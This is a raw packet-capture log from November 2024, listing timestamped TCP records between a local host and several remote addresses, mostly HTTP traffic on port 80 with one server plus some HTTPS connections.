Nov 18, 2024 00:27:53.809756994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.809771061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.809788942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.809787989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.809802055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.809832096 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.809849977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810067892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810092926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810107946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810122013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810122013 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810136080 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810138941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810153961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810158014 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810169935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810187101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810194016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810210943 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810235023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810240984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810312986 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810611963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810630083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810647011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810661077 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810661077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810673952 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810678005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810694933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810704947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810712099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810715914 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810728073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810754061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810756922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810775042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810781002 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810791969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.810801983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810816050 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.810834885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.811400890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.811417103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.811434031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.811446905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.811466932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.811492920 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.832510948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.832528114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.832545042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.832560062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.832575083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.832575083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.832600117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.832648993 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.836694956 CET	49984	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:53.836721897 CET	443	49984	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:53.836817980 CET	49984	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:53.837714911 CET	49984	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:53.837727070 CET	443	49984	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:53.839344978 CET	49985	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:53.839375973 CET	443	49985	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:53.839807034 CET	49985	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:53.841043949 CET	49985	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:53.841053009 CET	443	49985	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:53.855098009 CET	49971	443	192.168.2.6	23.221.22.215
Nov 18, 2024 00:27:53.868464947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.868494987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.868546009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.868554115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.868580103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.868592024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.868592024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.868614912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.868652105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.868662119 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.868696928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.868747950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.868810892 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.868829966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.868869066 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.868859053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.868912935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.868958950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.888833046 CET	443	49972	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.901968956 CET	49972	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.902004957 CET	443	49972	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.902390957 CET	443	49972	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.903589964 CET	49986	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:53.903621912 CET	443	49986	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:53.903693914 CET	49986	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:53.904468060 CET	49987	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:53.904494047 CET	443	49987	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:53.904705048 CET	49987	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:53.904952049 CET	49986	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:53.904962063 CET	443	49986	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:53.905232906 CET	49972	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.905312061 CET	443	49972	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.905376911 CET	49972	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:53.905515909 CET	49987	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:53.905525923 CET	443	49987	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:53.912007093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.912045002 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.912079096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.912103891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.912137985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.926855087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.926871061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.926884890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.926901102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.926909924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.926915884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.926933050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.926938057 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.926949024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.926964045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.926975012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.926980972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.926994085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.927006960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.927010059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.927022934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.927038908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.927051067 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.927053928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.927078009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.927079916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.927103043 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.927126884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.927354097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.927402973 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.927984953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.927999020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928020954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928031921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.928035975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928050995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928066969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928067923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.928081036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928093910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.928097010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928113937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928122044 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.928128958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928145885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928149939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.928168058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.928193092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.928203106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928216934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928232908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928253889 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.928278923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.928292036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928308010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928340912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.928868055 CET	443	49973	13.91.222.61	192.168.2.6
Nov 18, 2024 00:27:53.928963900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.928977013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.929003000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.929018974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.929207087 CET	49973	443	192.168.2.6	13.91.222.61
Nov 18, 2024 00:27:53.929218054 CET	443	49973	13.91.222.61	192.168.2.6
Nov 18, 2024 00:27:53.929914951 CET	443	49973	13.91.222.61	192.168.2.6
Nov 18, 2024 00:27:53.929995060 CET	49973	443	192.168.2.6	13.91.222.61
Nov 18, 2024 00:27:53.930969954 CET	443	49973	13.91.222.61	192.168.2.6
Nov 18, 2024 00:27:53.931035995 CET	49973	443	192.168.2.6	13.91.222.61
Nov 18, 2024 00:27:53.934416056 CET	49973	443	192.168.2.6	13.91.222.61
Nov 18, 2024 00:27:53.934503078 CET	443	49973	13.91.222.61	192.168.2.6
Nov 18, 2024 00:27:53.934644938 CET	49973	443	192.168.2.6	13.91.222.61
Nov 18, 2024 00:27:53.934653044 CET	443	49973	13.91.222.61	192.168.2.6
Nov 18, 2024 00:27:53.934942961 CET	49973	443	192.168.2.6	13.91.222.61
Nov 18, 2024 00:27:53.934972048 CET	443	49973	13.91.222.61	192.168.2.6
Nov 18, 2024 00:27:53.947330952 CET	443	49972	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:53.949518919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.949532986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.949547052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.949563026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.949577093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.949583054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.949594021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.949632883 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.985591888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.985606909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.985621929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.985642910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.985652924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.985658884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.985702038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.986042976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.986057043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.986073017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:53.986087084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:53.986110926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.028999090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.029015064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.029028893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.029079914 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.029119015 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.043545008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.043559074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.043572903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.043611050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.043623924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.043627024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.043643951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.043684006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.043700933 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044060946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044075012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044089079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044104099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044117928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044118881 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044148922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044154882 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044184923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044217110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044231892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044248104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044254065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044270992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044287920 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044570923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044585943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044600964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044614077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044625998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044656992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044734001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044748068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044761896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044774055 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044802904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044848919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044863939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044878006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044892073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044893026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.044914007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.044955969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.045227051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.045241117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.045255899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.045272112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.045281887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.045286894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.045304060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.045306921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.045320034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.045322895 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.045334101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.045350075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.045367002 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.066569090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.066582918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.066597939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.066628933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.066627026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.066643953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.066659927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.066663027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.066674948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.066678047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.066699982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.066699982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.066720963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.066745043 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.103212118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.103228092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.103241920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.103255987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.103270054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.103274107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.103286028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.103324890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.103389978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.104091883 CET	443	49973	13.91.222.61	192.168.2.6
Nov 18, 2024 00:27:54.111382961 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.113138914 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.117254019 CET	49973	443	192.168.2.6	13.91.222.61
Nov 18, 2024 00:27:54.117317915 CET	443	49973	13.91.222.61	192.168.2.6
Nov 18, 2024 00:27:54.117506981 CET	49973	443	192.168.2.6	13.91.222.61
Nov 18, 2024 00:27:54.128932953 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.128953934 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.129045010 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.129055023 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.129595995 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.129600048 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.129677057 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.129682064 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.145821095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.145834923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.145848989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.145863056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.145891905 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.145940065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.161247015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161262989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161278009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161292076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161298990 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.161309004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161322117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161324024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.161345005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161360025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.161375046 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.161401033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.161842108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161863089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161876917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161890984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.161890984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161909103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.161910057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161923885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.161925077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161941051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161942959 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.161953926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161963940 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.161969900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161984921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.161988974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.162002087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162005901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.162033081 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.162046909 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.162391901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162405014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162426949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162441969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162447929 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.162456989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162472010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162481070 CET	49889	80	192.168.2.6	185.215.113.206
